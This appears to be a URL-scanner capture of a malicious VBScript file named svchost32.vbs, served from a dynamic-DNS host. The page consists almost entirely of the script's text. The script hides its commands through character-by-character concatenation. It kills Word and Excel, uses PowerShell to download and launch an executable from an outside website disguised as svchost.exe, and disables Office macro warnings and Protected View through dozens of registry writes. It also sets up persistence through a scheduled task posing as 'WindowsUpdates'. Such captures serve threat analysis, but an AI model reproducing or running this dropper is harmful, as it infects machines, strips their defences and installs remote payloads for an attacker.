jopittex.zapto.org
107.173.219.125
URL:
http://jopittex.zapto.org/msoffice/svchost32.vbs
Submission: On January 31 via api
Submission: On January 31 via api
Form analysis
0 forms found in the DOMText Content
Set shhh = CreateObject("WScript.Shell") Dim AnwEXnwu1S1 Dim AnwEXnwu1S2 Dim AnwEXnwu1S3 Dim AnwEXnwu1S4 Dim AnwEXnwu1S5 Dim AnwEXnwu1S6 Dim AnwEXnwu1S7 Dim AnwEXnwu1S8 Dim AnwEXnwu1S9 Dim AnwEXnwu1S010 Dim AnwEXnwu1S011 AnwEXnwu1S1 = "c" AnwEXnwu1S1 = AnwEXnwu1S1 & "m" AnwEXnwu1S1 = AnwEXnwu1S1 & "d" AnwEXnwu1S1 = AnwEXnwu1S1 & "." AnwEXnwu1S1 = AnwEXnwu1S1 & "e" AnwEXnwu1S1 = AnwEXnwu1S1 & "x" AnwEXnwu1S1 = AnwEXnwu1S1 & "e " AnwEXnwu1S1 = AnwEXnwu1S1 & "/" AnwEXnwu1S1 = AnwEXnwu1S1 & "K " AnwEXnwu1S1 = AnwEXnwu1S1 & "t" AnwEXnwu1S1 = AnwEXnwu1S1 & "a" AnwEXnwu1S1 = AnwEXnwu1S1 & "s" AnwEXnwu1S1 = AnwEXnwu1S1 & "k" AnwEXnwu1S1 = AnwEXnwu1S1 & "k" AnwEXnwu1S1 = AnwEXnwu1S1 & "i" AnwEXnwu1S1 = AnwEXnwu1S1 & "l" AnwEXnwu1S1 = AnwEXnwu1S1 & "l " AnwEXnwu1S1 = AnwEXnwu1S1 & "/" AnwEXnwu1S1 = AnwEXnwu1S1 & "f " AnwEXnwu1S1 = AnwEXnwu1S1 & "/" AnwEXnwu1S1 = AnwEXnwu1S1 & "i" AnwEXnwu1S1 = AnwEXnwu1S1 & "m " AnwEXnwu1S1 = AnwEXnwu1S1 & "w" AnwEXnwu1S1 = AnwEXnwu1S1 & "i" AnwEXnwu1S1 = AnwEXnwu1S1 & "n" AnwEXnwu1S2 = "w" AnwEXnwu1S2 = AnwEXnwu1S2 & "o" AnwEXnwu1S2 = AnwEXnwu1S2 & "r" AnwEXnwu1S2 = AnwEXnwu1S2 & "d" AnwEXnwu1S2 = AnwEXnwu1S2 & "." AnwEXnwu1S2 = AnwEXnwu1S2 & "e" AnwEXnwu1S2 = AnwEXnwu1S2 & "x" AnwEXnwu1S2 = AnwEXnwu1S2 & "e" AnwEXnwu1S2 = AnwEXnwu1S2 & "&" AnwEXnwu1S2 = AnwEXnwu1S2 & "t" AnwEXnwu1S2 = AnwEXnwu1S2 & "a" AnwEXnwu1S2 = AnwEXnwu1S2 & "s" AnwEXnwu1S2 = AnwEXnwu1S2 & "k" AnwEXnwu1S2 = AnwEXnwu1S2 & "k" AnwEXnwu1S2 = AnwEXnwu1S2 & "i" AnwEXnwu1S2 = AnwEXnwu1S2 & "l" AnwEXnwu1S2 = AnwEXnwu1S2 & "l " AnwEXnwu1S2 = AnwEXnwu1S2 & "/" AnwEXnwu1S2 = AnwEXnwu1S2 & "f " AnwEXnwu1S2 = AnwEXnwu1S2 & "/" AnwEXnwu1S2 = AnwEXnwu1S2 & "i" AnwEXnwu1S2 = AnwEXnwu1S2 & "m " AnwEXnwu1S2 = AnwEXnwu1S2 & "E" AnwEXnwu1S2 = AnwEXnwu1S2 & "x" AnwEXnwu1S2 = AnwEXnwu1S2 & "c" AnwEXnwu1S3 = "e" AnwEXnwu1S3 = AnwEXnwu1S3 & "l" AnwEXnwu1S3 = AnwEXnwu1S3 & "." AnwEXnwu1S3 = AnwEXnwu1S3 & "e" AnwEXnwu1S3 = AnwEXnwu1S3 & "x" AnwEXnwu1S3 = AnwEXnwu1S3 & "e" AnwEXnwu1S4 = "&" AnwEXnwu1S4 = AnwEXnwu1S4 & "P" AnwEXnwu1S4 = AnwEXnwu1S4 & "o" AnwEXnwu1S4 = AnwEXnwu1S4 & "w" AnwEXnwu1S4 = AnwEXnwu1S4 & "e" AnwEXnwu1S4 = AnwEXnwu1S4 & "r" AnwEXnwu1S4 = AnwEXnwu1S4 & "S" AnwEXnwu1S4 = AnwEXnwu1S4 & "h" AnwEXnwu1S4 = AnwEXnwu1S4 & "e" AnwEXnwu1S5 = "l" AnwEXnwu1S5 = AnwEXnwu1S5 & "l " AnwEXnwu1S5 = AnwEXnwu1S5 & "(" AnwEXnwu1S5 = AnwEXnwu1S5 & "N" AnwEXnwu1S5 = AnwEXnwu1S5 & "e" AnwEXnwu1S5 = AnwEXnwu1S5 & "w" AnwEXnwu1S5 = AnwEXnwu1S5 & "-" AnwEXnwu1S5 = AnwEXnwu1S5 & "O" AnwEXnwu1S5 = AnwEXnwu1S5 & "b" AnwEXnwu1S5 = AnwEXnwu1S5 & "j" AnwEXnwu1S5 = AnwEXnwu1S5 & "e" AnwEXnwu1S5 = AnwEXnwu1S5 & "c" AnwEXnwu1S5 = AnwEXnwu1S5 & "t " AnwEXnwu1S5 = AnwEXnwu1S5 & "S" AnwEXnwu1S5 = AnwEXnwu1S5 & "y" AnwEXnwu1S5 = AnwEXnwu1S5 & "s" AnwEXnwu1S5 = AnwEXnwu1S5 & "t" AnwEXnwu1S5 = AnwEXnwu1S5 & "e" AnwEXnwu1S6 = "m" AnwEXnwu1S6 = AnwEXnwu1S6 & "." AnwEXnwu1S6 = AnwEXnwu1S6 & "N" AnwEXnwu1S6 = AnwEXnwu1S6 & "e" AnwEXnwu1S6 = AnwEXnwu1S6 & "t" AnwEXnwu1S6 = AnwEXnwu1S6 & "." AnwEXnwu1S6 = AnwEXnwu1S6 & "W" AnwEXnwu1S6 = AnwEXnwu1S6 & "e" AnwEXnwu1S6 = AnwEXnwu1S6 & "b" AnwEXnwu1S6 = AnwEXnwu1S6 & "C" AnwEXnwu1S6 = AnwEXnwu1S6 & "l" AnwEXnwu1S6 = AnwEXnwu1S6 & "i" AnwEXnwu1S6 = AnwEXnwu1S6 & "e" AnwEXnwu1S6 = AnwEXnwu1S6 & "n" AnwEXnwu1S6 = AnwEXnwu1S6 & "t" AnwEXnwu1S6 = AnwEXnwu1S6 & ")" AnwEXnwu1S6 = AnwEXnwu1S6 & "." AnwEXnwu1S7 = "D" AnwEXnwu1S7 = AnwEXnwu1S7 & "o" AnwEXnwu1S7 = AnwEXnwu1S7 & "w" AnwEXnwu1S7 = AnwEXnwu1S7 & "n" AnwEXnwu1S7 = AnwEXnwu1S7 & "l" AnwEXnwu1S7 = AnwEXnwu1S7 & "o" AnwEXnwu1S7 = AnwEXnwu1S7 & "a" AnwEXnwu1S7 = AnwEXnwu1S7 & "d" AnwEXnwu1S7 = AnwEXnwu1S7 & "F" AnwEXnwu1S7 = AnwEXnwu1S7 & "i" AnwEXnwu1S7 = AnwEXnwu1S7 & "l" AnwEXnwu1S7 = AnwEXnwu1S7 & "e" AnwEXnwu1S7 = AnwEXnwu1S7 & "(" AnwEXnwu1S7 = AnwEXnwu1S7 & "'http://www.bluesw.net/wp-admin//user/profile.exe '" AnwEXnwu1S8 = "," AnwEXnwu1S8 = AnwEXnwu1S8 & "'" AnwEXnwu1S8 = AnwEXnwu1S8 & "%" AnwEXnwu1S8 = AnwEXnwu1S8 & "P" AnwEXnwu1S8 = AnwEXnwu1S8 & "u" AnwEXnwu1S8 = AnwEXnwu1S8 & "b" AnwEXnwu1S8 = AnwEXnwu1S8 & "l" AnwEXnwu1S8 = AnwEXnwu1S8 & "i" AnwEXnwu1S8 = AnwEXnwu1S8 & "c" AnwEXnwu1S8 = AnwEXnwu1S8 & "%" AnwEXnwu1S8 = AnwEXnwu1S8 & "\" AnwEXnwu1S8 = AnwEXnwu1S8 & "s" AnwEXnwu1S9 = "v" AnwEXnwu1S9 = AnwEXnwu1S9 & "c" AnwEXnwu1S9 = AnwEXnwu1S9 & "h" AnwEXnwu1S9 = AnwEXnwu1S9 & "o" AnwEXnwu1S9 = AnwEXnwu1S9 & "s" AnwEXnwu1S9 = AnwEXnwu1S9 & "t" AnwEXnwu1S9 = AnwEXnwu1S9 & "." AnwEXnwu1S9 = AnwEXnwu1S9 & "e" AnwEXnwu1S9 = AnwEXnwu1S9 & "x" AnwEXnwu1S9 = AnwEXnwu1S9 & "e" AnwEXnwu1S9 = AnwEXnwu1S9 & "'" AnwEXnwu1S9 = AnwEXnwu1S9 & ")" AnwEXnwu1S9 = AnwEXnwu1S9 & ";" AnwEXnwu1S9 = AnwEXnwu1S9 & "S" AnwEXnwu1S9 = AnwEXnwu1S9 & "t" AnwEXnwu1S9 = AnwEXnwu1S9 & "a" AnwEXnwu1S9 = AnwEXnwu1S9 & "r" AnwEXnwu1S9 = AnwEXnwu1S9 & "t" AnwEXnwu1S9 = AnwEXnwu1S9 & "-" AnwEXnwu1S010 = "P" AnwEXnwu1S010 = AnwEXnwu1S010 & "r" AnwEXnwu1S010 = AnwEXnwu1S010 & "o" AnwEXnwu1S010 = AnwEXnwu1S010 & "c" AnwEXnwu1S010 = AnwEXnwu1S010 & "e" AnwEXnwu1S010 = AnwEXnwu1S010 & "s" AnwEXnwu1S010 = AnwEXnwu1S010 & "s " AnwEXnwu1S010 = AnwEXnwu1S010 & "'" AnwEXnwu1S010 = AnwEXnwu1S010 & "%" AnwEXnwu1S010 = AnwEXnwu1S010 & "P" AnwEXnwu1S010 = AnwEXnwu1S010 & "u" AnwEXnwu1S010 = AnwEXnwu1S010 & "b" AnwEXnwu1S010 = AnwEXnwu1S010 & "l" AnwEXnwu1S010 = AnwEXnwu1S010 & "i" AnwEXnwu1S010 = AnwEXnwu1S010 & "c" AnwEXnwu1S011 = "%" AnwEXnwu1S011 = AnwEXnwu1S011 & "\" AnwEXnwu1S011 = AnwEXnwu1S011 & "s" AnwEXnwu1S011 = AnwEXnwu1S011 & "v" AnwEXnwu1S011 = AnwEXnwu1S011 & "c" AnwEXnwu1S011 = AnwEXnwu1S011 & "h" AnwEXnwu1S011 = AnwEXnwu1S011 & "o" AnwEXnwu1S011 = AnwEXnwu1S011 & "s" AnwEXnwu1S011 = AnwEXnwu1S011 & "t" AnwEXnwu1S011 = AnwEXnwu1S011 & "." AnwEXnwu1S011 = AnwEXnwu1S011 & "e" AnwEXnwu1S011 = AnwEXnwu1S011 & "x" AnwEXnwu1S011 = AnwEXnwu1S011 & "e" AnwEXnwu1S011 = AnwEXnwu1S011 & "'" AnwEXnwu1S12 = AnwEXnwu1S1 + AnwEXnwu1S2 + AnwEXnwu1S3 + AnwEXnwu1S4 + AnwEXnwu1S5 + AnwEXnwu1S6 + AnwEXnwu1S7 + AnwEXnwu1S8 + AnwEXnwu1S9 + AnwEXnwu1S010 + AnwEXnwu1S011 shhh.Run AnwEXnwu1S12, vbHide Set wso = CreateObject("WScript.Shell") wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" set shhh = CreateObject("WScript.Shell") Dim AnwEXnwu1Stime AnwEXnwu1Stime = "cmd.exe /c SchTasks /Create /sc MINUTE /MO 360 /TN WindowsUpdates /TR C:\\Users\\Public\\svchost32.vbs" shhh.run AnwEXnwu1Stime, vbHide